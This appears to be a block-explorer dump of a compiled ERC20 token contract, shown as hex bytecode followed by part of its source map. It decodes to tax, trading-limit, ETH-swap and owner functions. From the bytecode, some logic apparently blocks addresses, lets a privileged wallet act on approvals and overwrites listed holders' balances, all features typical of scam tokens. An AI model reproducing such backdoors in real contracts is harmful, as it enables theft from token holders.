5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c99190611839565b6001600160a01b031663c9c653963060145f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610828573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084c9190611839565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610896573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108ba9190611839565b601580546001600160a01b039283166001600160a01b03199091161790556014541663f305d7194730610901816001600160a01b03165f9081526001602052604090205490565b5f806109145f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561097a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061099f9190611854565b505060158054600780546001600160a01b0319166001600160a01b0383161790556201000160a01b62ff00ff60a01b1990911617905550565b5f546001600160a01b03163314610a015760405162461bcd60e51b81526004016104c0906117f0565b5f80546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610a38573d5f803e3d5ffd5b50565b5f546001600160a01b03163314610a645760405162461bcd60e51b81526004016104c0906117f0565b600680546001600160a01b039092166001600160a01b0319909216821790555f908152600460209081526040808320805460ff1990811660019081179092556003909352922080549091169091179055565b6001600160a01b038316610b185760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c0565b6001600160a01b038216610b795760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c0565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c3d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c0565b6001600160a01b038216610c9f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c0565b5f8111610d005760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c0565b5f80546001600160a01b03858116911614801590610d2b57505f546001600160a01b03848116911614155b15611021576001600160a01b0384165f9081526005602052604090205460ff16158015610d7057506001600160a01b0383165f9081526005602052604090205460ff16155b610d78575f80fd5b610da46064610d9e60105460135411610d9357600c54610d97565b600e545b8590611196565b9061121b565b6015549091506001600160a01b038581169116148015610dd257506014546001600160a01b03848116911614155b8015610df657506001600160a01b0383165f9081526003602052604090205460ff16155b15610edc57600854821115610e4d5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104c0565b60095482610e6f856001600160a01b03165f9081526001602052604090205490565b610e79919061187f565b1115610ec75760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104c0565b60138054905f610ed683611892565b91905055505b6015546001600160a01b038481169116148015610f0257506001600160a01b0384163014155b15610f3a57610f2c6064610d9e60115460135411610f2257600d54610d97565b600f548590611196565b905047610f384761125c565b505b305f90815260016020526040902054601554600160a81b900460ff16158015610f7057506015546001600160a01b038581169116145b8015610f855750601554600160b01b900460ff165b8015610f925750600a5481115b8015610fa15750601254601354115b1561101f57601554600160b81b900460ff1615610ffa57436016541015610ff557610fdf610fda84610fd584600b54611293565b611293565b6112a7565b478015610fef57610fef4761125c565b50436016555b61101f565b61100d610fda84610fd584600b54611293565b47801561101d5761101d4761125c565b505b505b801561109957305f908152600160205260409020546110409082611417565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110909085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110bb9083611475565b6001600160a01b0385165f908152600160205260409020556110fe6110e08383611475565b6001600160a01b0385165f9081526001602052604090205490611417565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111478585611475565b60405190815260200160405180910390a350505050565b5f81848411156111815760405162461bcd60e51b81526004016104c091906114e2565b505f61118d84866118aa565b95945050505050565b5f825f036111a557505f61040a565b5f6111b083856117d9565b9050826111bd85836118bd565b146112145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c0565b9392505050565b5f61121483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114b6565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610670573d5f803e3d5ffd5b5f8183116112a15782611214565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106112ed576112ed611825565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611344573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113689190611839565b8160018151811061137b5761137b611825565b6001600160a01b0392831660209182029290920101526014546113a19130911684610ab6565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113d99085905f908690309042906004016118dc565b5f604051808303815f87803b1580156113f0575f80fd5b505af1158015611402573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b5f80611423838561187f565b9050838110156112145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c0565b5f61121483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115e565b5f81836114d65760405162461bcd60e51b81526004016104c091906114e2565b505f61118d84866118bd565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610a38575f80fd5b803561153681611517565b919050565b5f806040838503121561154c575f80fd5b823561155781611517565b946020939093013593505050565b5f805f60608486031215611577575f80fd5b833561158281611517565b9250602084013561159281611517565b929592945050506040919091013590565b5f602082840312156115b3575f80fd5b813561121481611517565b634e487b7160e01b5f52604160045260245ffd5b5f602082840312156115e2575f80fd5b813567ffffffffffffffff8111156115f8575f80fd5b8201601f81018413611608575f80fd5b803567ffffffffffffffff811115611622576116226115be565b8060051b604051601f19603f830116810181811067ffffffffffffffff8211171561164f5761164f6115be565b60405291825260208184018101929081018784111561166c575f80fd5b6020850194505b83851015611692576116848561152b565b815260209485019401611673565b509695505050505050565b5f80604083850312156116ae575f80fd5b82356116b981611517565b915060208301356116c981611517565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561172357808504811115611707576117076116d4565b600184161561171557908102905b60019390931c9280026116ec565b935093915050565b5f826117395750600161040a565b8161174557505f61040a565b816001811461175b576002811461176557611781565b600191505061040a565b60ff841115611776576117766116d4565b50506001821b61040a565b5060208310610133831016604e8410600b84101617156117a4575081810a61040a565b6117b05f1984846116e8565b805f19048211156117c3576117c36116d4565b029392505050565b5f61121460ff84168361172b565b808202811582820484141761040a5761040a6116d4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611849575f80fd5b815161121481611517565b5f805f60608486031215611866575f80fd5b5050815160208301516040909301519094929350919050565b8082018082111561040a5761040a6116d4565b5f600182016118a3576118a36116d4565b5060010190565b8181038181111561040a5761040a6116d4565b5f826118d757634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561192c5783516001600160a01b0316835260209384019390920191600101611905565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220670fb0df712f447172c7440b189b779c4f2854b59774d59f0d2858e11a2d2e8e64736f6c634300081a0033
Deployed Bytecode Sourcemap
3552:8589:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5642:83;;;;;;;;;;-1:-1:-1;5712:5:0;;;;;;;;;;;;-1:-1:-1;;;5712:5:0;;;;5642:83;;;;;;;:::i;:::-;;;;;;;;6461:250;;;;;;;;;;-1:-1:-1;6461:250:0;;;;;:::i;:::-;;:::i;:::-;;;1249:14:1;;1242:22;1224:41;;1212:2;1197:18;6461:250:0;1084:187:1;4389:45:0;;;;;;;;;;;;;;;;;;;1422:25:1;;;1410:2;1395:18;4389:45:0;1276:177:1;5913:95:0;;;;;;;;;;;;;:::i;6717:314::-;;;;;;;;;;-1:-1:-1;6717:314:0;;;;;:::i;:::-;;:::i;4337:45::-;;;;;;;;;;;;;;;;5824:83;;;;;;;;;;-1:-1:-1;5824:83:0;;4033:1;2113:36:1;;2101:2;2086:18;5824:83:0;1971:184:1;4279:51:0;;;;;;;;;;;;;;;;6014:119;;;;;;;;;;-1:-1:-1;6014:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6107:18:0;6080:7;6107:18;;;:9;:18;;;;;;;6014:119;2598:148;;;;;;;;;;;;;:::i;:::-;;10662:193;;;;;;;;;;;;;:::i;4225:47::-;;;;;;;;;;;;;;;;2384:79;;;;;;;;;;-1:-1:-1;2422:7:0;2449:6;2384:79;;-1:-1:-1;;;;;2449:6:0;;;2558:51:1;;2546:2;2531:18;2384:79:0;2412:203:1;5731:87:0;;;;;;;;;;-1:-1:-1;5803:7:0;;;;;;;;;;;;-1:-1:-1;;;5803:7:0;;;;5731:87;;11258:239;;;;;;;;;;-1:-1:-1;11258:239:0;;;;;:::i;:::-;;:::i;6139:167::-;;;;;;;;;;-1:-1:-1;6139:167:0;;;;;:::i;:::-;;:::i;7378:624::-;;;;;;;;;;;;;:::i;6312:143::-;;;;;;;;;;-1:-1:-1;6312:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6420:18:0;;;6393:7;6420:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6312:143;11503:111;;;;;;;;;;;;;:::i;10861:192::-;;;;;;;;;;-1:-1:-1;10861:192:0;;;;;:::i;:::-;;:::i;6461:250::-;-1:-1:-1;;;;;6596:26:0;;6536:4;6596:26;;;:17;:26;;;;;;900:10;;6596:26;;6593:45;;;-1:-1:-1;6630:8:0;;-1:-1:-1;;;;;6630:8:0;6593:45;6649:32;6658:5;6665:7;6674:6;6649:8;:32::i;:::-;6699:4;6692:11;;;6461:250;;;;;:::o;5913:95::-;5966:7;4089:13;4033:1;4089:2;:13;:::i;:::-;4076:26;;:10;:26;:::i;:::-;5986:14;;5913:95;:::o;6717:314::-;6815:4;6832:36;6842:6;6850:9;6861:6;6832:9;:36::i;:::-;6880:121;6889:6;900:10;6911:89;6949:6;6911:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6911:19:0;;;;;;:11;:19;;;;;;;;900:10;6911:33;;;;;;;;;;:37;:89::i;:::-;6880:8;:121::i;:::-;-1:-1:-1;7019:4:0;6717:314;;;;;:::o;2598:148::-;2511:6;;-1:-1:-1;;;;;2511:6:0;900:10;2511:22;2503:67;;;;-1:-1:-1;;;2503:67:0;;;;;;;:::i;:::-;;;;;;;;;2705:1:::1;2689:6:::0;;2668:40:::1;::::0;-1:-1:-1;;;;;2689:6:0;;::::1;::::0;2668:40:::1;::::0;2705:1;;2668:40:::1;2736:1;2719:19:::0;;-1:-1:-1;;;;;;2719:19:0::1;::::0;;2598:148::o;10662:193::-;2511:6;;-1:-1:-1;;;;;2511:6:0;900:10;2511:22;2503:67;;;;-1:-1:-1;;;2503:67:0;;;;;;;:::i;:::-;10716:12:::1;:20:::0;;-1:-1:-1;;;;10716:20:0::1;::::0;;4089:13:::1;4033:1;4089:2;:13;:::i;:::-;4076:26;::::0;:10:::1;:26;:::i;:::-;10747:12;:22:::0;4089:13:::1;4033:1;4089:2;:13;:::i;:::-;4076:26;::::0;:10:::1;:26;:::i;:::-;10780:16;:24:::0;;;10820:27:::1;::::0;4089:13:::1;::::0;:2:::1;:13;:::i;:::-;4076:26;::::0;:10:::1;:26;:::i;:::-;10820:27;::::0;1422:25:1;;;1410:2;1395:18;10820:27:0::1;;;;;;;10662:193::o:0;11258:239::-;11329:9;11324:166;11348:5;:12;11344:1;:16;11324:166;;;11399:13;;11387:8;;-1:-1:-1;;;;;11399:13:0;;;;11387:5;;11393:1;;11387:8;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;11387:25:0;;11383:38;;11414:7;11258:239;:::o;11383:38::-;11463:15;4033:1;11463:2;:15;:::i;:::-;11457:21;;:3;:21;:::i;:::-;11435:9;:19;11445:5;11451:1;11445:8;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;11435:19:0;;;;;;;;;;;-1:-1:-1;11435:19:0;:43;11362:4;;11324:166;;;;11258:239;:::o;6139:167::-;6217:4;6234:42;900:10;6258:9;6269:6;6234:9;:42::i;:::-;-1:-1:-1;6294:4:0;6139:167;;;;:::o;7378:624::-;2511:6;;-1:-1:-1;;;;;2511:6:0;900:10;2511:22;2503:67;;;;-1:-1:-1;;;2503:67:0;;;;;;;:::i;:::-;7442:11:::1;::::0;-1:-1:-1;;;7442:11:0;::::1;;;7441:12;7433:47;;;::::0;-1:-1:-1;;;7433:47:0;;6969:2:1;7433:47:0::1;::::0;::::1;6951:21:1::0;7008:2;6988:18;;;6981:30;7047:25;7027:18;;;7020:53;7090:18;;7433:47:0::1;6767:347:1::0;7433:47:0::1;7491:15;:80:::0;;-1:-1:-1;;;;;;7491:80:0::1;7528:42;7491:80:::0;;::::1;::::0;;;7582:58:::1;::::0;7599:4:::1;::::0;4089:13:::1;4033:1;4089:2;:13;:::i;:::-;4076:26;::::0;:10:::1;:26;:::i;7582:58::-;7685:15;;;;;;;;;-1:-1:-1::0;;;;;7685:15:0::1;-1:-1:-1::0;;;;;7685:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7667:55:0::1;;7731:4;7738:15;;;;;;;;;-1:-1:-1::0;;;;;7738:15:0::1;-1:-1:-1::0;;;;;7738:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7667:94;::::0;-1:-1:-1;;;;;;7667:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7567:32:1;;;7667:94:0::1;::::0;::::1;7549:51:1::0;7636:32;;7616:18;;;7609:60;7522:18;;7667:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7651:13;:110:::0;;-1:-1:-1;;;;;7651:110:0;;::::1;-1:-1:-1::0;;;;;;7651:110:0;;::::1;;::::0;;7772:15:::1;::::0;::::1;:31;7811:21;7842:4;7848:24;7842:4:::0;-1:-1:-1;;;;;6107:18:0;6080:7;6107:18;;;:9;:18;;;;;;;6014:119;7848:24:::1;7873:1;7875::::0;7877:7:::1;2422::::0;2449:6;-1:-1:-1;;;;;2449:6:0;;2384:79;7877:7:::1;7772:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7772:129:0;;;-1:-1:-1;;;;;8001:32:1;;;7772:129:0::1;::::0;::::1;7983:51:1::0;8050:18;;;8043:34;;;;8093:18;;;8086:34;;;;8136:18;;;8129:34;8200:32;;;8179:19;;;8172:61;7885:15:0::1;8249:19:1::0;;;8242:35;7955:19;;7772:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;7923:13:0::1;::::0;;7912:8:::1;:24:::0;;-1:-1:-1;;;;;;7912:24:0::1;-1:-1:-1::0;;;;;7923:13:0;::::1;7912:24;::::0;;-1:-1:-1;;;;;;;7976:18:0;;;;;;-1:-1:-1;7378:624:0:o;11503:111::-;2511:6;;-1:-1:-1;;;;;2511:6:0;900:10;2511:22;2503:67;;;;-1:-1:-1;;;2503:67:0;;;;;;;:::i;:::-;2422:7;2449:6;;11558:48:::1;::::0;-1:-1:-1;;;;;2449:6:0;;;;11584:21:::1;11558:48:::0;::::1;;;::::0;11584:21;;11558:48;2422:7;11558:48;11584:21;2449:6;11558:48;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11503:111::o:0;10861:192::-;2511:6;;-1:-1:-1;;;;;2511:6:0;900:10;2511:22;2503:67;;;;-1:-1:-1;;;2503:67:0;;;;;;;:::i;:::-;10937:9:::1;:19:::0;;-1:-1:-1;;;;;10937:19:0;;::::1;-1:-1:-1::0;;;;;;10937:19:0;;::::1;::::0;::::1;::::0;;:9:::1;10967:26:::0;;;:17:::1;:26;::::0;;;;;;;:33;;-1:-1:-1;;10967:33:0;;::::1;10937:19:::0;10967:33;;::::1;::::0;;;11011:18:::1;:27:::0;;;;;:34;;;;::::1;::::0;;::::1;::::0;;10861:192::o;7037:335::-;-1:-1:-1;;;;;7130:19:0;;7122:68;;;;-1:-1:-1;;;7122:68:0;;8951:2:1;7122:68:0;;;8933:21:1;8990:2;8970:18;;;8963:30;9029:34;9009:18;;;9002:62;-1:-1:-1;;;9080:18:1;;;9073:34;9124:19;;7122:68:0;8749:400:1;7122:68:0;-1:-1:-1;;;;;7209:21:0;;7201:68;;;;-1:-1:-1;;;7201:68:0;;9356:2:1;7201:68:0;;;9338:21:1;9395:2;9375:18;;;9368:30;9434:34;9414:18;;;9407:62;-1:-1:-1;;;9485:18:1;;;9478:32;9527:19;;7201:68:0;9154:398:1;7201:68:0;-1:-1:-1;;;;;7280:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7332:32;;1422:25:1;;;7332:32:0;;1395:18:1;7332:32:0;;;;;;;7037:335;;;:::o;8008:2648::-;-1:-1:-1;;;;;8096:18:0;;8088:68;;;;-1:-1:-1;;;8088:68:0;;9759:2:1;8088:68:0;;;9741:21:1;9798:2;9778:18;;;9771:30;9837:34;9817:18;;;9810:62;-1:-1:-1;;;9888:18:1;;;9881:35;9933:19;;8088:68:0;9557:401:1;8088:68:0;-1:-1:-1;;;;;8175:16:0;;8167:64;;;;-1:-1:-1;;;8167:64:0;;10165:2:1;8167:64:0;;;10147:21:1;10204:2;10184:18;;;10177:30;10243:34;10223:18;;;10216:62;-1:-1:-1;;;10294:18:1;;;10287:33;10337:19;;8167:64:0;9963:399:1;8167:64:0;8259:1;8250:6;:10;8242:64;;;;-1:-1:-1;;;8242:64:0;;10569:2:1;8242:64:0;;;10551:21:1;10608:2;10588:18;;;10581:30;10647:34;10627:18;;;10620:62;-1:-1:-1;;;10698:18:1;;;10691:39;10747:19;;8242:64:0;10367:405:1;8242:64:0;8317:18;2449:6;;-1:-1:-1;;;;;8352:15:0;;;2449:6;;8352:15;;;;:32;;-1:-1:-1;2422:7:0;2449:6;-1:-1:-1;;;;;8371:13:0;;;2449:6;;8371:13;;8352:32;8348:1948;;;-1:-1:-1;;;;;8410:11:0;;;;;;:5;:11;;;;;;;;8409:12;:26;;;;-1:-1:-1;;;;;;8426:9:0;;;;;;:5;:9;;;;;;;;8425:10;8409:26;8401:35;;;;;;8464:73;8533:3;8464:64;8486:12;;8476:9;;:22;8475:52;;8513:14;;8475:52;;;8500:12;;8475:52;8464:6;;:10;:64::i;:::-;:68;;:73::i;:::-;8564:13;;8451:86;;-1:-1:-1;;;;;;8556:21:0;;;8564:13;;8556:21;:55;;;;-1:-1:-1;8595:15:0;;-1:-1:-1;;;;;8581:30:0;;;8595:15;;8581:30;;8556:55;:83;;;;-1:-1:-1;;;;;;8617:22:0;;;;;;:18;:22;;;;;;;;8615:24;8556:83;8552:315;;;8679:12;;8669:6;:22;;8661:60;;;;-1:-1:-1;;;8661:60:0;;10979:2:1;8661:60:0;;;10961:21:1;11018:2;10998:18;;;10991:30;11057:27;11037:18;;;11030:55;11102:18;;8661:60:0;10777:349:1;8661:60:0;8774:16;;8764:6;8748:13;8758:2;-1:-1:-1;;;;;6107:18:0;6080:7;6107:18;;;:9;:18;;;;;;;6014:119;8748:13;:22;;;;:::i;:::-;:42;;8740:81;;;;-1:-1:-1;;;8740:81:0;;11463:2:1;8740:81:0;;;11445:21:1;11502:2;11482:18;;;11475:30;11541:28;11521:18;;;11514:56;11587:18;;8740:81:0;11261:350:1;8740:81:0;8840:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8552:315;8890:13;;-1:-1:-1;;;;;8884:19:0;;;8890:13;;8884:19;:43;;;;-1:-1:-1;;;;;;8907:20:0;;8922:4;8907:20;;8884:43;8881:363;;;8961:76;9033:3;8961:67;8983:13;;8973:9;;:23;8972:55;;9012:15;;8972:55;;;8998:13;;8961:6;;:10;:67::i;:76::-;8948:89;-1:-1:-1;9085:21:0;9176:33;9187:21;9176:10;:33::i;:::-;8929:315;8881:363;9307:4;9258:28;6107:18;;;:9;:18;;;;;;9333:6;;-1:-1:-1;;;9333:6:0;;;;9332:7;:30;;;;-1:-1:-1;9349:13:0;;-1:-1:-1;;;;;9343:19:0;;;9349:13;;9343:19;9332:30;:45;;;;-1:-1:-1;9366:11:0;;-1:-1:-1;;;9366:11:0;;;;9332:45;:81;;;;;9402:11;;9381:20;:32;9332:81;:108;;;;;9427:13;;9417:9;;:23;9332:108;9328:957;;;9465:12;;-1:-1:-1;;;9465:12:0;;;;9461:809;;;9521:12;9506;;:27;9502:427;;;9562:67;9579:49;9583:6;9590:37;9594:20;9615:11;;9590:3;:37::i;:::-;9579:3;:49::i;:::-;9562:16;:67::i;:::-;9685:21;9736:22;;9733:119;;9791:33;9802:21;9791:10;:33::i;:::-;-1:-1:-1;9893:12:0;9878;:27;9502:427;9461:809;;;9977:67;9994:49;9998:6;10005:37;10009:20;10030:11;;10005:3;:37::i;9977:67::-;10096:21;10143:22;;10140:111;;10194:33;10205:21;10194:10;:33::i;:::-;9954:316;9461:809;8386:1910;8348:1948;10309:12;;10306:165;;10378:4;10360:24;;;;:9;:24;;;;;;:40;;10389:10;10360:28;:40::i;:::-;10353:4;10335:24;;;;:9;:24;;;;;;;:65;;;;10418:41;;-1:-1:-1;;;;;10418:41:0;;;;;;;10448:10;1422:25:1;;1410:2;1395:18;;1276:177;10418:41:0;;;;;;;;10306:165;-1:-1:-1;;;;;10497:15:0;;;;;;:9;:15;;;;;;:27;;10517:6;10497:19;:27::i;:::-;-1:-1:-1;;;;;10481:15:0;;;;;;:9;:15;;;;;:43;10549:41;10567:22;:6;10578:10;10567;:22::i;:::-;-1:-1:-1;;;;;10549:13:0;;;;;;:9;:13;;;;;;;:17;:41::i;:::-;-1:-1:-1;;;;;10535:13:0;;;;;;;:9;:13;;;;;:55;;;;10606:42;;;10625:22;:6;10636:10;10625;:22::i;:::-;10606:42;;1422:25:1;;;1410:2;1395:18;10606:42:0;;;;;;;8077:2579;8008:2648;;;:::o;1278:190::-;1364:7;1400:12;1392:6;;;;1384:29;;;;-1:-1:-1;;;1384:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1424:9:0;1436:5;1440:1;1436;:5;:::i;:::-;1424:17;1278:190;-1:-1:-1;;;;;1278:190:0:o;1476:246::-;1534:7;1558:1;1563;1558:6;1554:47;;-1:-1:-1;1588:1:0;1581:8;;1554:47;1611:9;1623:5;1627:1;1623;:5;:::i;:::-;1611:17;-1:-1:-1;1656:1:0;1647:5;1651:1;1611:17;1647:5;:::i;:::-;:10;1639:56;;;;-1:-1:-1;;;1639:56:0;;12313:2:1;1639:56:0;;;12295:21:1;12352:2;12332:18;;;12325:30;12391:34;12371:18;;;12364:62;-1:-1:-1;;;12442:18:1;;;12435:31;12483:19;;1639:56:0;12111:397:1;1639:56:0;1713:1;1476:246;-1:-1:-1;;;1476:246:0:o;1730:132::-;1788:7;1815:39;1819:1;1822;1815:39;;;;;;;;;;;;;;;;;:3;:39::i;11059:89::-;11114:9;;:26;;-1:-1:-1;;;;;11114:9:0;;;;:26;;;;;11133:6;;11114:9;:26;:9;:26;11133:6;11114:9;:26;;;;;;;;;;;;;;;;;;;11154:98;11211:7;11238:1;11236;:3;11235:9;;11243:1;11235:9;;;-1:-1:-1;11241:1:0;11154:98;-1:-1:-1;11154:98:0:o;11620:483::-;5095:6;:13;;-1:-1:-1;;;;5095:13:0;-1:-1:-1;;;5095:13:0;;;11722:16:::1;::::0;;11736:1:::1;11722:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11722:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11722:16:0::1;11698:40;;11767:4;11749;11754:1;11749:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11749:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11793:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;11793:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;11749:7;;11793:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11783:4;11788:1;11783:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11783:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;11858:15:::1;::::0;11826:62:::1;::::0;11843:4:::1;::::0;11858:15:::1;11876:11:::0;11826:8:::1;:62::i;:::-;11899:15;::::0;:196:::1;::::0;-1:-1:-1;;;11899:196:0;;-1:-1:-1;;;;;11899:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;11980:11;;11899:15:::1;::::0;12022:4;;12049::::1;::::0;12069:15:::1;::::0;11899:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5131:6:0;:14;;-1:-1:-1;;;;5131:14:0;;;-1:-1:-1;;;;11620:483:0:o;947:179::-;1005:7;;1037:5;1041:1;1037;:5;:::i;:::-;1025:17;;1066:1;1061;:6;;1053:46;;;;-1:-1:-1;;;1053:46:0;;13679:2:1;1053:46:0;;;13661:21:1;13718:2;13698:18;;;13691:30;13757:29;13737:18;;;13730:57;13804:18;;1053:46:0;13477:351:1;1134:136:0;1192:7;1219:43;1223:1;1226;1219:43;;;;;;;;;;;;;;;;;:3;:43::i;1870:189::-;1956:7;1991:12;1984:5;1976:28;;;;-1:-1:-1;;;1976:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2015:9:0;2027:5;2031:1;2027;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:134;641:20;;670:31;641:20;670:31;:::i;:::-;573:134;;;:::o;712:367::-;780:6;788;841:2;829:9;820:7;816:23;812:32;809:52;;;857:1;854;847:12;809:52;896:9;883:23;915:31;940:5;915:31;:::i;:::-;965:5;1043:2;1028:18;;;;1015:32;;-1:-1:-1;;;712:367:1:o;1458:508::-;1535:6;1543;1551;1604:2;1592:9;1583:7;1579:23;1575:32;1572:52;;;1620:1;1617;1610:12;1572:52;1659:9;1646:23;1678:31;1703:5;1678:31;:::i;:::-;1728:5;-1:-1:-1;1785:2:1;1770:18;;1757:32;1798:33;1757:32;1798:33;:::i;:::-;1458:508;;1850:7;;-1:-1:-1;;;1930:2:1;1915:18;;;;1902:32;;1458:508::o;2160:247::-;2219:6;2272:2;2260:9;2251:7;2247:23;2243:32;2240:52;;;2288:1;2285;2278:12;2240:52;2327:9;2314:23;2346:31;2371:5;2346:31;:::i;2620:127::-;2681:10;2676:3;2672:20;2669:1;2662:31;2712:4;2709:1;2702:15;2736:4;2733:1;2726:15;2752:1127;2836:6;2889:2;2877:9;2868:7;2864:23;2860:32;2857:52;;;2905:1;2902;2895:12;2857:52;2945:9;2932:23;2978:18;2970:6;2967:30;2964:50;;;3010:1;3007;3000:12;2964:50;3033:22;;3086:4;3078:13;;3074:27;-1:-1:-1;3064:55:1;;3115:1;3112;3105:12;3064:55;3155:2;3142:16;3181:18;3173:6;3170:30;3167:56;;;3203:18;;:::i;:::-;3249:6;3246:1;3242:14;3285:2;3279:9;3348:2;3344:7;3339:2;3335;3331:11;3327:25;3319:6;3315:38;3419:6;3407:10;3404:22;3383:18;3371:10;3368:34;3365:62;3362:88;;;3430:18;;:::i;:::-;3466:2;3459:22;3516;;;3566:2;3596:11;;;3592:20;;;3516:22;3554:15;;3624:19;;;3621:39;;;3656:1;3653;3646:12;3621:39;3688:2;3684;3680:11;3669:22;;3700:148;3716:6;3711:3;3708:15;3700:148;;;3782:23;3801:3;3782:23;:::i;:::-;3770:36;;3835:2;3733:12;;;;3826;3700:148;;;-1:-1:-1;3867:6:1;2752:1127;-1:-1:-1;;;;;;2752:1127:1:o;3884:388::-;3952:6;3960;4013:2;4001:9;3992:7;3988:23;3984:32;3981:52;;;4029:1;4026;4019:12;3981:52;4068:9;4055:23;4087:31;4112:5;